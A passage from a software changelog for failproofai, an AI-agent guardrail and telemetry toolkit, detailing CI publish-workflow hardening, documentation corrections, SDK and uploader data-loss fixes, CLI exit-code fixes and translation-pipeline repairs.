enforcement, exactly as `reference/python-sdk` has always said. Blocking an unsafe action on that path needs a hook at the runtime's tool boundary. The drift guard now asserts both the two-class split and that no copy describes the SDK as carrying policies. (#731) - -- Point the fourteen translation links at the tree the translation pipeline actually maintains. They resolved to `docs-old/i18n/`, frozen when the Mintlify site replaced it, while `.github/workflows/translate-docs.yml` writes `docs/i18n/` — so every non-English reader got a README that would never be updated again, and the two sets had already diverged. The drift guard asserts the link target. (#731) - -- Put the new `r/failproofai` subreddit everywhere the Discord invite already lives, so the second community channel is discoverable from the same places as the first: the README community badges (English + the 28 translated copies under `docs/i18n/` and `docs-old/i18n/`), the docs-site navbar (with its own hover tooltip in `custom.css`), the `failproofai --help` LINKS banner, the dashboard launch banner, the dashboard's "Reach Us" dropdown, and the comment the contributor-welcome workflow posts on every outside PR. (#732) - -- **Nine documented claims the code disproves, each checked by running the thing it describes.** A float `duration_ms` was documented as "stored as null" on the site reference and in the manual guide long after it started raising `ValueError` at the call site — outside the SDK's own try/except, so it takes down the agent turn. The manual guide taught `model_response(response=...)` three times; the field is `content`, and every method ends in `**fields`, so the completion arrived as an unpromoted custom field with no error anywhere. `how-it-works.mdx` presented `capture_content=False` as the universal privacy switch in the same section that says `collector.redact` does not apply to SDK events — two adapters of four read it, LlamaIndex spells it `capture_messages`, and CrewAI has none, while `instrument()` silently drops options an adapter does not read. The SDK README told `agenteye-collector` hosts that "both read the default spool root", which this release made false and the package's own resolver contradicts. `docs-old`'s migration note said nothing on disk moved and named a retired env var as the override. `troubleshooting.mdx` sent stuck users to `AGENTEYE_SPOOL_TO_FAILPROOFAI`, which no module reads, and told them to pre-create a directory the writer creates. `llamaindex.mdx` credited `stale_after` with closing abandoned runs; it closes abandoned leaves. `cloud-cli.mdx`, "the complete reference", omitted `policies`, `fleet` and `guardrails` — 18 subcommands — while three other pages in the same release were rewritten to send readers to exactly those commands. And `deploy.mdx` promised a plan and a prompt that `--json` or a redirected stdin skips, so a runbook that deliberately omitted `--yes` replaced a machine's entire policy set with no output. Two of these are now guarded by negative-controlled tests. (#702) - -### Fixes - -- **The Supply Chain gate went red on three chromadb advisories that no PR introduced, and the allow-list naming them was two entries out of date.** `osv-scanner.toml` listed `GHSA-f4j7-r4q5-qw2c` and its alias `PYSEC-2026-311`; three further advisories against the same locked chromadb 1.1.1 — `GHSA-2wm9-hf6c-p5cr`, `GHSA-36p7-vc44-83pf`, `GHSA-xph7-9rjv-w5fr` — were not covered, and none of the four has a fixed version to bump to. It now lists all four by id, and drops the alias entry the scanner had begun reporting as an unused ignore: it matches aliases itself, so naming both spellings of one advisory only produces a warning. **They stay id-scoped rather than becoming one package-wide override, which is the substantive decision here.** A package override would also suppress a *fixable* chromadb advisory, and `failproofai-sdk[crewai]` is a supported published extra — so a fixable finding is one we would want to act on and tell those users about, not one to opt out of receiving. Accepting four unfixable findings is not the same as dropping the package from the scan, and the difference is verified rather than asserted: removing any single id puts that advisory straight back on the gate. Worth recording how these arrive, because it is not what it looks like — three of the four were published in June and only began matching this lockfile when their OSV records were modified on 2026-08-24, so the gate can go red on a PR that changed nothing. `SECURITY.md` gains the package-override mechanism, the conditions under which it is defensible, and the signal it costs. (#755) - -- **Both PyPI publish workflows died on their own authorization step, before it could decide anything.** The `build` job runs every step inside the package directory (`fp-cloud-cli` / `sdk/python`) via a job-level `defaults.run.working-directory`, and the actor/branch guard is deliberately the FIRST step — ahead of `actions/checkout`, so an unauthorized dispatch stops before the runner does any work on its behalf. But the package directory arrives *with* the checkout, so the runner could not start bash in it at all: `An error occurred trying to start process '/usr/bin/bash' with working directory .../fp-cloud-cli. No such file or directory`, and the release stopped for a reason that has nothing to do with who dispatched it. Both workflows failed this way on the first real dispatch after the packages were open-sourced, taking `publish`, `bump` and `release` down as skipped. The guard now runs at `${{ github.workspace }}`, which exists before checkout. Nothing else in either file was affected — every other pre-checkout step sits in a job with no directory default. `__tests__/ci/workflow-step-working-directory.test.ts` fails on any `run:` step that inherits a repo-relative directory before the checkout that creates it, which is the half of this nothing else can see: publish workflows only run on `workflow_dispatch`, so no PR, no push and no schedule would ever have executed the step. (#753) - -- **`docs/stars.js` shipped with no test, and it is the kind of code whose failure looks exactly like success.** A broken selector, a renamed API field or a navbar re-render that wins the race all leave a plausible number on the page, because `docs.json` still carries a hand-written one — and today's real count (1,492) formats to exactly the baked-in `⭐ 1.5k`, so even reading the live navbar cannot tell a working fetch from a dead one. `__tests__/docs/stars.test.ts` drives the script the way a browser does — eval it into a DOM, stub `fetch`, read the label back — over the real navbar markup captured from `mintlify dev`: the endpoint it calls, the replacement, the rounding boundaries the comments claim (9,950 is "10k" not "9.9k"; 999,999 is "1.0M" not "1000k"), the four failure paths that must leave the baked-in label untouched, the screen-reader `github` span it must never rewrite, the re-apply after a simulated SPA re-render, and the sessionStorage cache that keeps a second page load off an API that rate-limits at 60 requests/hour. Negative-controlled: renaming `stargazers_count` in the script reddens 12 of the 19. (#702) - -- **Nothing tied a Python package to the two places that have to know about it, and both stay quiet when one is missing.** Dependabot resolves per directory — `fp-cloud-cli`'s entry cannot see `sdk/python`'s tree — so an unregistered package simply never gets an update PR, which is indistinguishable from a tree that is already current; and osv-scanner scans the lockfiles named on its command line and discovers none on its own, so a lockfile missing from those args is reported clean because it was never read. Both packages are wired today, and `failproofai-sdk-workflows.test.ts` asserts the SDK's dependabot entry as one of that package's own invariants, but nothing covered `fp-cloud-cli` or would notice a third package. `__tests__/ci/python-package-registration.test.ts` derives the package list from the `uv.lock` files on disk rather than restating it, and asserts each has a dependabot entry for its own directory, declares the `uv` ecosystem (`pip` resolves `pyproject.toml` and ignores the lockfile, so it would open PRs that leave `uv sync --locked` pinned) and is named in the osv-scanner run. (#702) - -- **Fourteen translated copies of the SDK reference were left behind when the English page moved, which is the state `pruneOrphanedTranslations` exists to prevent.** The restructure moved `reference/python-sdk` to `reference/custom-agents` with a redirect and left the locale copies at the old path, so the invariant that runs over the real `docs/` tree — no translated page whose English source is missing — read fourteen pages as documenting something that no longer exists, and the `test` job went red in all three env configs. The page did not disappear, it moved, so the copies move with it: each to the relative path its English source now holds, each keeping its slot in its locale nav, and the seventy in-page links pointing at `//reference/python-sdk` follow. The old locale URLs get fourteen explicit redirect entries rather than one `/:lang/...` parameterised source, because the neighbouring invariant — every redirect destination resolves to a real `.mdx` on disk — cannot check a destination that is a parameter. What each page says is still the pre-restructure translation until the next translation run overwrites it, which is the lag every locale page carries; the alternative the tooling offers, pruning, would have deleted the SDK reference in fourteen languages and left every link into it pointing at nothing. (#702) - -- **The docs navbar's GitHub star count was a hardcoded string, 26% low.** `docs.json` can only carry a static label, so `⭐ 1.1k` was typed by hand in #699 on 2026-08-18 and nothing has changed it since — there was no fetch, no badge and no build step, so it could only ever drift further behind (the repo was at 1,488 when this was written). `docs/stars.js` now replaces it in the browser, which Mintlify runs on every page from the content directory, so the number is correct without a commit or a redeploy. Three things it has to survive and does: the docs are a Next.js SPA whose navbar re-renders on client-side navigation and would revert the label (a `MutationObserver` re-applies it, guarded so its own write cannot wake it); the unauthenticated GitHub API allows 60 requests/hour per IP, so every failure path leaves the baked-in value alone rather than showing a blank or broken label; and the repo link also contains a screen-reader `github` span, so the target is matched by content rather than by Mintlify's utility classes. The unit is chosen AFTER rounding — deciding it first renders 9,950 as "9.9k" when it is "10k", and 999,999 as "1000k" when it is "1.0M". The static label is corrected to `⭐ 1.5k` in the same change, because it is what a visitor with JS disabled still sees. (#702) - -- **A busy machine was reported as a broken policy.** `check_syntax` shared the policy EXECUTION budget — 5 seconds, sized so a policy with an accidental infinite loop fails the command instead of hanging it — with `node --check`, which runs none of the policy and whose only real variable is how long a cold node process takes to start. On a loaded box that timed out and returned `ok=False`, so `fp policies publish` refused a perfectly good file and told the author their syntax was bad. Caught in CI the moment the fp-cli matrix widened to four concurrent interpreters: three legs passed and the fourth timed out on the same source. Parsing has its own, generous budget now, and a timeout reports `checked=False` — "we could not look", the shape `SyntaxResult` already uses for node being absent — rather than blaming the source. (#702) -- **The SDK's own background thread wrote events into whichever test was running.** `_runtime.writer` starts at import on a 0.5-second interval, and the spool path is resolved when a batch is *written*, not when the event is submitted — so an event queued while one test's `FAILPROOFAI_HOME` was current got written into a different test's directory up to half a second later, with no error on either side. It surfaced as `test_repeated_flushes_do_not_recreate_or_churn_the_directories` counting seven batch files where it had written six, on one interpreter out of five, which is what a timing-dependent leak looks like from CI. `tests/conftest.py` already documented four ways this package's module-level singletons leak across tests and defended against each; this was a fifth, and it is now quiesced for the whole session — nothing in the suite depends on that thread firing (every test asserting on disk builds its own `EventWriter` and calls `flush_now()`), and what accumulates is written by the exit-time flush into the sandbox the conftest already creates and removes. The regression test asserts the **effect** rather than the interval, so it still fails if the loop acquires another way to wake, and waits well past the 0.5s default so a regression cannot pass by being fast. Negative-controlled: with the fix disabled it fails on the stray batch file. (#702) - -- **The PyPI publish guard read `github.actor`, which a re-run does not change.** Both workflows gate every job on `if [ "$ACTOR" != "NiveditJain" ]`, and on a re-run `github.actor` stays the user who started the ORIGINAL run while `github.triggering_actor` is whoever pressed the button. So anyone with write access could re-run a maintainer's *failed* publish — one that died before the upload, which is exactly the run somebody re-runs, and the only kind preflight's "already published" check does not stop — and ship an official `fp-cloud-cli` or `failproofai-sdk` release under that maintainer's attribution, unreviewable and unrecallable. `publish.yml` has always checked both identities; these two were written checking one. Both now run the same loop over `$ACTOR` and `$TRIGGERING_ACTOR` against a space-separated `RELEASE_ACTORS`, compared case-insensitively (a login differing only in case is the same account, and an exact-match guard that says otherwise behaves unpredictably from the allowlist alone), at all three guarded jobs — one unhardened copy is the one that gets reached. Verified by executing the guard body across the attribution combinations, including the re-run in both directions. The tests assert the loop, not just the presence of the variable: `TRIGGERING_ACTOR` sitting in `env:` while nothing reads it is precisely what a fix to this looks like from the outside. (#702) - -- **Both Python packages carried version numbers inherited from a distribution neither of them is.** `fp-cloud-cli` sat at `0.1.22` and `failproofai-sdk` at `0.0.1b14` — the numbers the CLI and the SDK had reached under the shared `agenteye` name in the private monorepo, imported verbatim when each was open-sourced here and never touched since. On the new names those numbers describe nothing: `fp-cloud-cli` and `failproofai-sdk` are both 404 on PyPI, so a first release would have opened at `0.1.22` and `0.0.1b14` with no earlier version behind either, presenting a package that has never shipped as one with twenty-two releases of history. Worse for `fp-cloud-cli`, `0.1.22` is a plain stable version: `pip install fp-cloud-cli` would have resolved it by default while every classifier and every doc page calls the CLI beta, leaving the one signal pip actually reads saying the opposite of all of them. Both now open at `0.0.1b1`, a PEP 440 pre-release — the same marker the SDK already used, and the only mechanism PyPI has for the thing npm expresses with a `beta` dist-tag. Nothing is stranded and nothing is skipped, because there is nothing on either name to reuse or to downgrade from; pip and uv install a pre-release when it is the only release, so `pipx install fp-cloud-cli` and `pip install failproofai-sdk` keep working unqualified. The two skill files and the LangGraph event sample that quoted `0.0.1b14` as the version a reader should expect to see are corrected with them; the `agenteye` history in `references/install.md` is left alone, being a fact about the retired name. (#702) - -- **A busy machine was reported as a broken policy.** `check_syntax` shared the policy EXECUTION budget — 5 seconds, sized so a policy with an accidental infinite loop fails the command instead of hanging it — with `node --check`, which runs none of the policy and whose only real variable is how long a cold node process takes to start. On a loaded box that timed out and returned `ok=False`, so `fp policies publish` refused a perfectly good file and told the author their syntax was bad. Caught in CI the moment the fp-cloud-cli matrix widened to four concurrent interpreters: three legs passed and the fourth timed out on the same source. Parsing has its own, generous budget now, and a timeout reports `checked=False` — "we could not look", the shape `SyntaxResult` already uses for node being absent — rather than blaming the source. (#702) - -- **The PyPI publishing identity was reachable by every dependency, pytest plugin and framework adapter the release ran.** Trusted Publishing mints its OIDC token on demand from `ACTIONS_ID_TOKEN_REQUEST_URL`/`_TOKEN` in the job environment, so any code executing in a job that holds `id-token: write` can request it and publish an attacker-controlled release. Both publish workflows granted it to the one job that installs dependencies, runs pytest, builds, and imports the built wheel to exercise its console script — and the SDK's had just gained five framework extras (LangChain, LangGraph, CrewAI, LlamaIndex, Pydantic AI) plus their whole transitive trees, executed there, when the publish gate was fixed to stop testing nothing. Split: `build` holds `contents: read` and runs every gate, then hands the verified `dist/` over as an artifact; `publish` is the only job with an identity and does not check the repo out, install anything or import the package — it downloads that artifact and uploads it. Same shape for both skill-sync workflows, where the mirror repo's `validate-skills.py` ran on the runner that then exported a write-capable PAT: copying the tree without `.git` closes git-hook and git-config attacks but is a directory boundary, not a process one — `$GITHUB_ENV`, `$GITHUB_PATH` and a wrapper on `PATH` all survive into the credentialed step. Validation now runs in its own job with `permissions: {}` and no secrets, and the job that pushes re-clones on a runner that has never executed mirror code. Both guards negative-controlled. (#702) - -- **A partially accepted ingest batch destroyed the events it refused.** `{"accepted":3,"skipped":1}` was treated as a plain success, so the spool file was deleted and the one refused event was gone: that file was its last local copy, the server never had it, and nothing recorded which event it was — the same permanent, silent loss the fully-skipped branch was added to close, reached through an ack that merely looks healthier. Any non-zero `skipped` now parks, which is safe because `upload_file`'s own contract is that a resend is "byte-identical, so it dedups". `UploadError` gains `PartiallySkipped` rather than overloading `StoredNothing`, because "one line of a thousand" and "every line" have different causes and different remedies. (#702) - -- **An oversized SDK event was permanently undeliverable, and took its whole batch with it.** `uploader.rs` states the invariant it relies on — "A single line longer than max is emitted alone rather than dropped: the spool writer already guarantees no such line exists". The Rust spool writer does guarantee it; the Python writer publishing into the same directories did not, so one `tool_result` carrying a large file was written as a single line, POSTed whole (`split_lines` can only split on newlines), rejected, and the entire spool file was parked, retried three times and poisoned — every unrelated event batched alongside it too, with nothing in the host process ever learning. Fields are capped at 1 MiB and batches roll at 8 MiB, mirroring `MAX_FIELD_BYTES` and `DEFAULT_MAX_BATCH_BYTES`. (#702) - -- **The SDK's queue byte-bound was an estimate, so it did not bind when it mattered.** Derived from a running average of encoded batch sizes seeded at 1 KB/event, it was not a bound until the average had been learned: measured, 10,000 events of 128 KiB queued **1.22 GB** before it caught up — the exact OOM the cap exists to prevent, just later. `submit` sizes each entry as it arrives, walking the entry's nodes rather than its characters. The sizing helpers are written so they cannot raise, which is load-bearing rather than habit: `submit` runs on the caller's agent loop, and the first version measured keys with `len(str(k))` — running the caller's `__str__` — which the existing encoding tests caught immediately. (#702) - -- **`failproofaid typo` started the daemon.** The argument parser only inspected values beginning with `-`, so any positional argument reached `Invocation::Run`, took the singleton lock and bound the socket — verified live — while `USAGE` promises "Takes no positional arguments". A typo in a unit file or a wrapper script therefore started a daemon instead of failing, and the operator's next real invocation lost the lock race against it. The same hole the `--help` fix closed for flags, left open for everything else. (#702) - -- **A failed membership lookup at login read as "you belong to no orgs".** Both flows wrapped the fetch in `except Exception: pass`, so a timeout, a 500, a malformed body or a permissions problem all collapsed into an empty list — indistinguishable from a genuine single-org user, silently clearing the active tenant. Worse, an explicit `--org` was then refused with `You are not a member of org 'X'. Your orgs: (none).` — exit 2, quoting a membership list that had never been fetched. The session is still kept, the failure is now stated, and an explicit `--org` falls through to the direct server probe instead of being rejected on absent evidence. (#702) - -- **The LangChain adapter kept 2 KiB of every captured value, so the prompt and the completion — the two things the integration exists to show — arrived as previews on essentially every real run.** `_FIELD_LIMIT = 2048` sat deliberately below the core's 8192 on the grounds that "inputs/outputs are graph state". That holds for a state blob and not for a RAG prompt, which clears 2 KiB comfortably. It is the core default now and tunable per install with `instrument("langchain", capture_limit=…)`; measured against a live agent, a 24 KB tool output went from 2,050 captured characters to 8,194. **The per-event budget had to move with it, and now derives from the field limit rather than being a second independent number** (`EVENT_BUDGET = FIELD_LIMIT * _FIELDS_PER_EVENT`, and `RunTracker(field_limit=…)` scales its own). That coupling is load-bearing: past the budget `payload()` does not shorten the next field, it **omits the key** — so raising the limit alone would have traded shortened values for missing ones, which is strictly worse because the event stops recording that anything is absent. The ratio (16 max-size fields) is the one the LangChain adapter already shipped with, checked against real traffic first: a live event from each of the five adapters carries 7–8 `fw_*` fields. `field_limit` also reaches the **declared** parameters (`input`, `output`, `messages`), which this adapter never truncated itself — they were cut at the core default whatever its own constant said, so raising the constant used to change only half the event. An unusable `capture_limit` logs and falls back rather than raising, because `instrument()` with no name installs every detected adapter with the same options. Negative-controlled: reverting either half fails 8 tests. (#702) - -- **`fp policies compose` documented the wrong permission, in the one place a least-privilege setup is decided.** Both its `--help` and the skill reference said it "Needs `agent:use`". The route it calls, `POST /api/agent/compose-policy`, is exported as `withAuth("policies:write", …)` and never checks `agent:use` — that gates the assistant's *other* routes (chat, answer, conversations, messages). So an operator minting a role from the documentation gets a key that is refused, and a role holding `policies:write` alone drafts policies the docs say it cannot. Corrected in both places, naming the route so the claim is checkable rather than restated. (#702) - -- **The public docs told readers the Cloud CLI cannot publish or deploy policies, and documented eight environment variables it does not read.** `docs/policies/deploy.mdx` said "Cloud deployment endpoints are intentionally not exposed as ordinary `fp` commands", `docs/policies/editor.mdx` said "The Cloud CLI does not publish policy versions", and `docs/start/first-policy.mdx` said it "does not expose root-only enforcement deployment routes" — all three sending the reader to the dashboard for work the CLI does. Disproved by running it: `fp policies publish` minted a version and `fp fleet deploy` moved a machine to deployment #5, alongside `fp fleet show/diff/history/rollback/rename`, `fp policies list/show/enable/disable/delete/test/compose` and `fp guardrails summary/timeline`. Separately, `docs/reference/cloud-cli.mdx`'s environment table named `AGENTEYE_DASHBOARD_URL`, `AGENTEYE_ORG`, `AGENTEYE_CLI_TOKEN`, `AGENTEYE_CLI_API_KEY`, `AGENTEYE_CLI_JSON`, `AGENTEYE_INSECURE`, `AGENTEYE_HOME` and `AGENTEYE_ANALYTICS_DISABLED`; the CLI declares `FP_*` and an unknown variable is not an error, so the failure is silent — verified live, `AGENTEYE_DASHBOARD_URL=http://127.0.0.1:59999 fp policies list` exits 0 against the saved dashboard while `FP_DASHBOARD_URL` exits 3. That page is where somebody points the CLI at their own deployment, so being ignored is the worst available outcome. Corrected, with a callout recording that the `AGENTEYE_*` names belong to the collector and the telemetry SDK rather than to this CLI. Every command now shown on those pages was executed against a live stack before being written down. The translated copies under `docs//` still carry the old text and are out of scope here, as in the rest of this release. (#702) - -- **`fp guardrails timeline` reported one policy source and presented it as the whole fleet.** `GET /enforcement/decisions/timeline` returns ONE SERIES PER `policy_source` — the server builds them from a `BTreeMap`, so they arrive alphabetically as `builtin`, `cloud`, `convention`, `custom` — and both renderers read `series[0]`. The row shown was therefore `builtin`, and every cloud-managed decision was dropped: the half an operator opens this command to see, on the product whose point is cloud-managed enforcement. There was no tell, because the header counts were summed from the same truncated list, so the panel agreed with itself while disagreeing with the fleet. Driven with two sources carrying 3 and 900 decisions it printed `3 evaluated · 1 blocked` for a window that had 903 and 401 — a 0.3% under-report of a safety surface, stated as fact. `fp guardrails summary`'s sparkline had the same read, which put a shape drawn from one source beside a headline number computed from all of them. Both now go through `_merge_timeline_series`, which sums every series per bucket and keys on `t` so sources reporting different bucket sets union rather than truncating to the shortest — the CLI analogue of the dashboard's multi-line chart, which draws one line per source and lets the operator read the stack. Negative-controlled: reverting either call site fails a test, and the sparkline test asserts on the GLYPHS rather than the headline counts, which come from `summary["totals"]` and are correct either way — asserting those would have been a guard that cannot fail. (#702) - -- **`$AGENTEYE_HOME` could silently move the SDK's spool off the failproofai umbrella, and the two CI smoke tests that used it would have started writing to the developer's real home.** The resolver read the variable ahead of the default, so the one component that legitimately reads it — the older `agenteye-collector`, which resolves `$AGENTEYE_HOME` or `~/.agenteye` and nothing else — could not be configured without relocating this SDK too, as an unasked-for side effect with no error on either side. Resolution is now exactly `set_base_dir()` / `configure(base_dir=...)`, else `~/.failproofai/custom-agents`; `$FAILPROOFAI_HOME` still moves the umbrella but appends `custom-agents` unconditionally, so no environment can place the spool outside it. `failproofaid` goes on watching **both** `~/.failproofai/custom-agents/events` and `~/.agenteye/events`, so nothing already written is stranded and an unupgraded SDK is still collected — what changed is only that this version cannot be pointed at the legacy root by accident. Three consequences were fixed with it: `tests/conftest.py` isolated the suite with `AGENTEYE_HOME`, which after this change would have sent the at-exit flush into the real `~/.failproofai/custom-agents` (it uses `FAILPROOFAI_HOME` now, and is deliberately not deleted per-test so a mid-test `set_base_dir(None)` still lands in the sandbox); the `ci.yml` and `publish-failproofai-sdk.yml` wheel smoke tests set `AGENTEYE_HOME=/tmp/...` and then globbed that path, which would have failed with "the installed wheel wrote no event batch" — on the publish path, gating a release; and the skill's own test-mode recipe told the reader to `export AGENTEYE_HOME=/tmp/...`, which would have written to their real spool while they read an empty temp directory. `AGENTEYE_HOME` moves from `FROZEN_STRINGS` to `RETIRED_STRINGS` in `test_server_contract.py`, because the frozen check is a substring scan and would otherwise have passed on the resolver comment explaining the removal. Reverting the resolver alone fails 9 tests across 5 files. (#702) - -- **The docs told readers to call `model_response(response=...)`; the parameter is `content`.** `event.*` ends in `**fields`, so the wrong keyword was accepted, stored as an ordinary custom field, and the `content` column stayed empty — no exception, no warning, and a reader who copied the example got exactly the silent half-capture the SDK exists to prevent. It appeared three times on the docs site and in both of the SDK’s own shipped runnable examples, `quickstart.py` and `research_agent.py`. Also corrected: `instrument("crewai")` on a machine without CrewAI was documented as raising an `ImportError`; it does not. It logs a warning carrying that `ImportError` — whose message does name the exact install command — and returns `()`, so one missing framework cannot take down a process that instruments others. `FAILPROOFAI_SDK_STRICT=1` makes it raise, and that flag is read once and cached, so it has to be exported before the process starts. A new `test_every_documented_event_call_uses_real_keywords` checks the keywords of every documented `event.*` call against the real signature, across **every** page in the directory — the previous scans covered method names only, and only on the four framework pages, so `custom-agents.mdx`, which carries the most hand-written event calls on the site, was guarded by nothing at all. (#702) - -- **`fp users show/update/disable/enable` denied a member the CLI had just created.** The server lowercases an email on create, so `fp users create Alice.Chen@Example.com` stores `alice.chen@example.com` — and every later lookup on the exact string the caller had typed a moment earlier answered `no user with email "Alice.Chen@Example.com"` at exit 6. The member was reachable only through a lowercased form nothing had told them about, and exit 6 is the documented not-found code, so a script checking it concluded the user did not exist. `resolve_one` gains an opt-in `casefold`, used by the user resolver only: it is correct exactly where the server itself normalises, and key and query names are stored verbatim, so folding those would let `PROD` silently resolve `prod` and act on the wrong object. (#702) - -- **A batch the server stored none of was deleted, not parked — permanent, silent data loss.** `uploader.rs` reads the ingest ack precisely because, in its own words, "a batch the server discarded entirely is indistinguishable from a perfect upload", and `record_ack` states outright that "a 200 that stored nothing is an error, not a success". It then logged one ERROR line, returned `Ok`, and `upload_file` deleted the file — contradicting the module's other stated invariant, that `failed/` is "a retry queue, not a graveyard" holding "the last copy" of data the server does not have, "never deleted". A fully-skipped 200 was the one path that broke it, and the events were gone with no exception at the SDK call site, nothing in the dashboard, and nothing anywhere application code reads. Reproduced end to end: a single event carrying a ~12 MB tool output emitted 4 events and landed 3, permanently. `post_batch` now parks such a batch and returns the new `UploadError::StoredNothing`; parked **retryable** rather than poison-on-sight, because the observed trigger was an intermediary mangling an oversized body, which a retry can survive — `park_inner` bounds that, encoding the attempt in the filename and marking `.poison` at `failed_retries_max`, after which the file is kept forever and never retried again. Verified after the fix: the same 12 MB run leaves a 12,583,681-byte parked batch with all four lines intact and re-parseable. The pre-existing test that covered this asserted only the metrics — never that the file was deleted — so its intent is unchanged; it now also asserts the batch survives. (#702) - -- **`fp issues show ` exited 1 with an internal phrase where its sibling exited 6 with an answer.** `incidents_cmds._fail` remapped a non-UUID id to the friendly `no issue ` (exit 6) only when the status was `>= 500`, on the belief that the server answers a malformed id with a 500. It does not: axum's path extractor rejects it at **400** with a plain-text body, which the dashboard converts to the generic `upstream returned non-JSON response`. So the remap never fired, and the user saw that internal phrase at exit 1 while `fp audits show ` — the same code one file over — answered `no audit named "..."` at exit 6. Anything branching on exit 6 to mean not-found silently took the wrong arm. The guard is now `status == 400` and deliberately **not** `>= 400`: issue ids are not required to be UUIDs (`fp issues assign i1 --assignee ...` is a documented call), so a non-UUID id reaches real handlers and collects real 4xx answers — and `>= 400` rewrote a 422 "a@x.com is not an operator" into "no issue i1", replacing the one sentence explaining the failure with a false claim. Only 400 means the router refused to parse the id. Caught by two existing tests when the broader range was tried, and pinned by a new mirror of the audits regression test. (#702) - -- **Public-facing fixtures and help text pointed at `corp.com`, a real registered domain.** `fp users create dev@corp.com` is what `fp users --help` printed, so the address a reader is most likely to copy belonged to somebody else — 17 occurrences in shipped source and 54 in tests. RFC 2606 reserves `example.com` for exactly this and it is already in the tripwire's sanctioned-fixture vocabulary. Also: `.ruff_cache/` was ignored by nothing (it survived only on ruff's own self-ignore), and `fp-cloud-cli` advertised `requires-python = ">=3.10"` and tested 3.13 in CI while its classifiers stopped at 3.12, so PyPI would have under-reported what it supports. (#702) - -- **All four of the SDK's framework integration suites skipped in every CI run: 168 test functions across 6,071 lines, green, never executed.** They are the only automated evidence for native LangChain/LangGraph, CrewAI, LlamaIndex and Pydantic AI support, so an adapter could break against a new framework release with nothing to say so. The mechanism to prevent this already existed on the test side — each module honours `AGENTEYE_TESTS_REQUIRE_FRAMEWORKS`, and three of the four carry a comment reading "CI leg sets AGENTEYE_TESTS_REQUIRE_FRAMEWORKS=1" — but no such leg was ever added, and the frameworks live in per-adapter extras that `uv sync --extra dev` does not pull, so each module skipped at import instead. This is the same class as the `AGENTEYE_SPOOL_TO_FAILPROOFAI` opt-in the SDK's own resolver documents as having been "documented, tested, and unreachable", and the same one `FAILPROOFAI_SDK_REQUIRE_CONTRACT=1` was introduced to close for `test_spool_contract.py`. A `failproofai-sdk-integrations` job now installs all five extras with `--locked` and runs `tests/integrations` with the flag set, so a botched install fails rather than reading as "4 skipped". It is one job on one interpreter rather than a fifth leg of the existing matrix: the adapters bind to framework APIs, not to interpreter version, and installing five agent frameworks five times buys nothing. `__tests__/ci/failproofai-sdk-workflows.test.ts` pins all four invariants, the env var included, since dropping that line silently restores the exact state this closed. With the leg running, all 281 collected integration tests pass. (#702) - -- **`failproofaid --help` started the daemon instead of printing help.** `main()` matched `--version`/`-v` and let everything else fall through to `run()`, which takes the singleton lock and binds two sockets. So the one command an operator reaches for to discover the flags produced no output, never returned, and left a running daemon behind — a hang in a terminal, and an indefinite block in a script. Argument handling moves into a `parse_args` returning an `Invocation`, which is what makes the fall-through testable: `--help`/`-h` prints usage, an unrecognised `-`-prefixed argument is a usage error at exit 2 rather than a daemon start, and `--help` still wins over a later unknown option the way every other CLI behaves. Five unit tests cover it, including the regression itself. (#702) - -- **The tripwire that keeps a customer's name out of the public package named that customer, in cleartext, in its own docstring — and shipped it.** `fp-cloud-cli/tests/test_no_customer_identifiers.py` holds customer identifiers as SHA-256 digests precisely because, as its own header says, "a deny-list that spells out the name it exists to keep out of a public wheel publishes that name just as surely as the fixture did — and this file ships in the sdist." Line 16 then spelled it out anyway, in prose, three lines above the digest. It passed green for the same reason nobody noticed: `_scannable()` excludes this file from its own scan, an exemption that exists so the `FORBIDDEN_OWN` literals do not trip the scan on themselves, and which therefore blinds the scan to everything else in the file too. `tests/` is in the sdist, so publishing to PyPI would have published the name; the wheel excludes tests and was clean. The prose now describes the shape of the leak without naming it, and a new `test_this_file_does_not_name_the_customers_it_denies` runs the hashed scan over this file specifically — the one check the exemption cannot make — reporting `path:line` and the class of identifier, never the identifier, because that CI log is public. Negative-controlled by restoring the original line and confirming the new test is what fails. (#702) - -- Stop the local audit report claiming it would have blocked things it only detected. `totalHits` folds in `detectorRows` (source `audit-detector`) — replay-only findings with no builtin behind them, whose own fix column renders `audit-only` and which the slipping-through section already labels "caught by audit, not blocked" — yet the TL;DR line users paste publicly said the agent did N things "`failproofai` would have stopped". "Caught" is true of both halves; "would have stopped" was true of one. The same footer also named six integrations when `runAuditInner` defaults to all twelve. (#731) - -- Stop the localized navigation referencing pages that were never translated, which is what still discarded a partial run. `--allow-partial` published what succeeded — and then `--update-nav` regenerated the nav from the ENGLISH tree, emitting an entry for the failed page in the language that failed it, so `mintlify validate` rejected the missing file and the job died before its push anyway. The 784 pages that HAD translated went with it, which is precisely the loss `--allow-partial` exists to prevent. Nav generation now omits any localized page whose file is not on disk, prunes a group left with no pages and a tab left with no groups, and keeps an `openapi` group that never had pages to begin with. The check is injected rather than hardcoded, so the pure transform stays testable and the two paths that actually write `docs.json` get the real one. This also closes the same hazard from every other direction it can arrive from — a pruned page, or a translation that only exists on an unmerged branch — because the nav is now derived from what is present rather than from what English says should be. (#725) - -- Stop the localized nav crashing on a group that has no pages, and stop it dropping the properties it does have. `buildLanguageNav` rebuilt every group as `{group, pages}` and called `group.pages.map(...)` unconditionally. The docs rebuild added `{group, expanded, openapi}` — a group whose content is an OpenAPI spec and has no pages at all — so `--update-nav` died with `TypeError: undefined is not an object`, **after 784 pages had already been translated**, taking the whole nightly run with it for the second night running. Groups are now rebuilt by spreading the English group, so `expanded`, `icon` and `openapi` survive instead of being silently discarded from every non-English nav; a group with no pages is carried through untouched (the spec is not translated, and dropping it would remove the API reference from thirteen languages); and `pages` entries that are themselves nested groups recurse rather than being prefixed as if they were paths. `pages` is optional on the type now, which is what it always was in the data. (#725) - -- Stop one bad page discarding a whole night's translation, and resample the draw that caused it. On 2026-08-18 the nightly job translated 782 pages, hit ONE failure, exited 1, and pushed nothing — 2.7M tokens in the bin over a single page. Two things were wrong. **`--allow-partial`** (used by the box job, off everywhere else) publishes what succeeded and carries the failures into the PR body, the Slack note and the run stamp, because the real hazard of a partial publish is a PR that looks complete. And the failure itself was misdiagnosed: `reference/cloud-cli.mdx [vi]` is a 16 KB source that emitted 64 000 output tokens, which is a repetition loop, not a page too large to translate. `stop_reason: "max_tokens"` was treated as a size problem no resample could fix, so it propagated uncaught and consumed no attempt. It is now split by the one signal that separates the two — output against the source's token estimate — and a runaway is retried through the existing validity loop with feedback telling the model to translate once and stop, while a source that genuinely approaches the ceiling keeps failing loudly rather than burning three attempts to arrive at the same place. (#725) - -- **The SIGTERM handler this SDK publishes deadlocked the process it was meant to 